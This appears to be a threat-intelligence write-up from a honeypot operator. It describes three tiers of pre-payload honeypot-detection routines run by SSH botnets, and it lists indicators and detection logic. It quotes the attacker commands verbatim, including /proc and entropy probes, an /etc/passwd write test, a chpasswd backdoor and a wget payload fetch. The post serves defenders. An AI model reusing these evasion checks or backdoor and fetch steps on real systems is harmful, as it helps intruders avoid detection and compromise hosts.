Sandbox evasion used to be a malware-analysis problem. It is now a honeypot problem too: attackers increasingly probe whether the shell they just opened is real before they spend a payload on it. Over the last two weeks our sensors recorded three distinct, escalating versions of that probe. The most sophisticated one isn’t in any public report we can find — and all three were answered the way a real machine answers, so the operators kept going.
Observation window: 2026-05-31 → 2026-06-11
Signal: three distinct honeypot/sandbox-detection routines from SSH botnets, captured pre-payload
Core finding: an entropy + PID-reality + block-I/O detection battery with no public prior art
Defensive value: detection logic for each tier + the design lesson that low-interaction honeypots fail these checks
Why attackers check
A low-interaction honeypot (Cowrie, Kippo, Dionaea and friends) emulates a shell. It is cheap, safe, and everywhere — which is exactly why automated operators have started to assume they might be in one. If a botnet drops its loader into an emulated shell, it wastes the payload, exposes its infrastructure, and feeds a defender’s intelligence. So the better operators now run a pre-flight: a short battery of commands whose answers differ between a real Linux host and an emulator or a sandbox. Pass, and the payload drops. Fail, and the session leaves quietly.
We observed three tiers of that pre-flight. They escalate in sophistication, and the third is the one worth your attention.
Tier 1 — Commodity core-counting (well documented)
The baseline, used by the bulk of the Diicot/Mexals-style mining traffic we see, is resource counting:
nproc
cat /proc/cpuinfo | grep name | wc -l
The logic is crude but effective at scale: sandboxes and analysis VMs are typically provisioned with one or two cores, so a low core count is treated as “not worth it / possibly instrumented.” Public reporting on Diicot/Mexals (Akamai, Wiz, Cado/Darktrace) describes exactly this — the second-stage script gates on core count to decide which payload to drop. This tier is well understood; we mention it only as the floor of the arms race.
Tier 2 — A seven-step environment-integrity routine
On 2026-05-31, a node (109.206.236.18, hosted at CGI Global, FI) opened a shell and, before any
mining recon, ran a tighter, purpose-built integrity check:
cd /tmp 2>/dev/null && readlink /proc/self/cwd 2>&1 # is /proc/self/cwd real?
sleep 0.1 && echo done # does timing behave?
uname -m
cat /etc/machine-id 2>/dev/null || cat /var/lib/dbus/machine-id || echo 'NONE' # default/blank machine-id = sandbox tell
ps aux | grep -E 'cowrie|kippo|honeypot|dionaea' | grep -v grep || echo 'OK' # honeypot process names
uid=$(id -u); if [ $uid -ne 0 ]; then echo test >> /etc/passwd && echo "HONEYPOT" || echo "OK"; fi # can a non-root user write /etc/passwd?
ls -la /home | grep -i cowrie && echo "COWRIE" || ls -la / | grep -i kippo && echo "KIPPO" || echo "OK"
Each line is a discriminator:
readlink /proc/self/cwd— a real/procreturns the working directory symlink; many emulators don’t implement it./etc/machine-id— cloned sandbox images frequently ship a blank or identical machine-id.- process and filesystem name grep for
cowrie/kippo/dionaea— the classic low-interaction honeypots, caught by their own process names and install paths. - the
/etc/passwdwrite test is the clever one: a poorly built honeypot that fakes a writable filesystem will acceptecho test >> /etc/passwdand flip the result toHONEYPOT. A real Linux host denies the non-root write and returnsOK.
This node returned several times over the following hours and ran the full Diicot GPU-recon and
competitor-wipe toolkit — which means it read OK on every check and treated the host as real.
Tier 3 — A deep /proc, entropy and PID-reality battery (no public prior art)
On 2026-06-11, a node (186.96.145.241, on a Mexican residential telco) ran the most thorough pre-flight
we have captured. After adaptive GPU recon, it executed — in a tight 17-second scripted burst — a battery
that goes well past anything in Tier 1 or 2:
env | grep -i cowrie ; ls /var/log/cowrie ; ls /home/cowrie ; ls /opt/cowrie # Cowrie install paths
echo $$ ; test -d /proc/$$ && echo PROCok || echo PROCno # does my own PID exist in /proc?
cat /proc/self/status | head -5
cat /proc/uptime
dd if=/dev/urandom bs=1M count=5 of=/dev/null # does real block I/O behave?
cat /proc/sys/kernel/random/entropy_avail # is there a real kernel entropy pool?
cat /proc/sys/net/ipv4/tcp_rmem
cat /proc/sys/kernel/osrelease
test -f /bin/ls && echo yes || echo no
This is a different philosophy from Tiers 1 and 2. It is not looking for honeypot names — it is testing whether the kernel underneath the shell behaves like a real kernel:
test -d /proc/$$— the shell asks whether its own process exists in/proc. An emulated shell that doesn’t model/procper-PID fails here instantly.entropy_availanddd if=/dev/urandom— a real kernel maintains an entropy pool and real block I/O; an emulator returning canned output gets these wrong.tcp_rmem,osrelease,/proc/self/status,/proc/uptime— a battery of kernel tunables and process metadata that an emulator has to fake consistently to pass.
Having read the answers it wanted, the operator went straight to a backdoor (echo deploy:<pwd> | sudo chpasswd) and a payload fetch (wget <payload-host>/fakewhiteblack.sh). It did not bail. It proceeded.
Prior art & novelty
We checked this against public reporting from Akamai, Wiz, Cado/Darktrace, Elastic, SANS ISC and general
web/GitHub. The published Diicot/Mexals sandbox-detection technique is CPU-core / process counting —
Tier 1. We could not find any public report describing this combined entropy_avail + dd-block-I/O +
tcp_rmem + test -d /proc/$$ PID-reality battery as a single attacker pre-flight routine, nor any
reference to the payload name fakewhiteblack.sh (as of 2026-06-12). We therefore describe this routine
as behaviorally consistent with Diicot/Mexals — the surrounding GPU recon and the payload
infrastructure match the family — while being explicit that the deep battery itself is, to our
knowledge, undocumented. We do not attribute it outright; the known Diicot tradecraft is core-counting,
and this is a meaningful step beyond it.
The part that matters for defenders
In all three tiers, the operator ran the check and then proceeded to the payload. That is not a footnote — it is the whole point.
These checks are designed to catch low-interaction honeypots: emulators that fake a shell, fake a
filesystem, fake /proc. A high-interaction sensor — a real operating system, with a real kernel, a real
/proc, a real entropy pool, a filesystem that denies a non-root write to /etc/passwd — answers every
one of these questions the way a production server does, because it is one. The attacker’s own
escalating sophistication becomes a validation signal: the more thoroughly they test, the more clearly
their decision to proceed tells you the deception held.
The defensive takeaways:
- If you run honeypots for intelligence, low-interaction is now a liability against these operators. Cowrie-class emulators are detectable by name (Tier 2) and by kernel behavior (Tier 3). The traffic you most want to study — the operators sophisticated enough to pre-flight — is exactly the traffic that will detect an emulator and leave.
- Detection logic (any of these in a post-auth shell is high-signal, and combinations are near-certain
automated pre-flight):
ps ... grep -E 'cowrie|kippo|honeypot|dionaea', orls/grepfor those names under/,/home,/opt,/var/log.- a non-root
echo ... >> /etc/passwdwrite attempt (the test itself is the tell). - reads of
entropy_avail,dd if=/dev/urandom ... of=/dev/null,test -d /proc/$$,/proc/sys/...tunables in an SSH session. readlink /proc/self/cwd/cat /etc/machine-idimmediately after login.
Indicators
| Indicator | Type | Note |
|---|---|---|
186.96.145.241 | source IP | Tier-3 deep battery, MX residential telco. Behaviorally consistent with Diicot/Mexals. |
45.153.34.212 | payload host | serves fakewhiteblack.sh; same /24 as Diicot GPU-recon nodes |
fakewhiteblack.sh | filename | unattested in public reporting as of 2026-06-12 |
109.206.236.18 | source IP | Tier-2 seven-step integrity routine, CGI Global FI; returned to run Diicot toolkit |
Behavioral markers: test -d /proc/$$, entropy_avail read, dd if=/dev/urandom ... of=/dev/null,
echo test >> /etc/passwd write-test, ps ... grep cowrie|kippo|honeypot|dionaea, readlink /proc/self/cwd.
OHIIHO operates a distributed fleet of high-interaction sensors. Observation windows describe what our sensors recorded, not the limits of any operator’s activity. Findings are published for defensive value.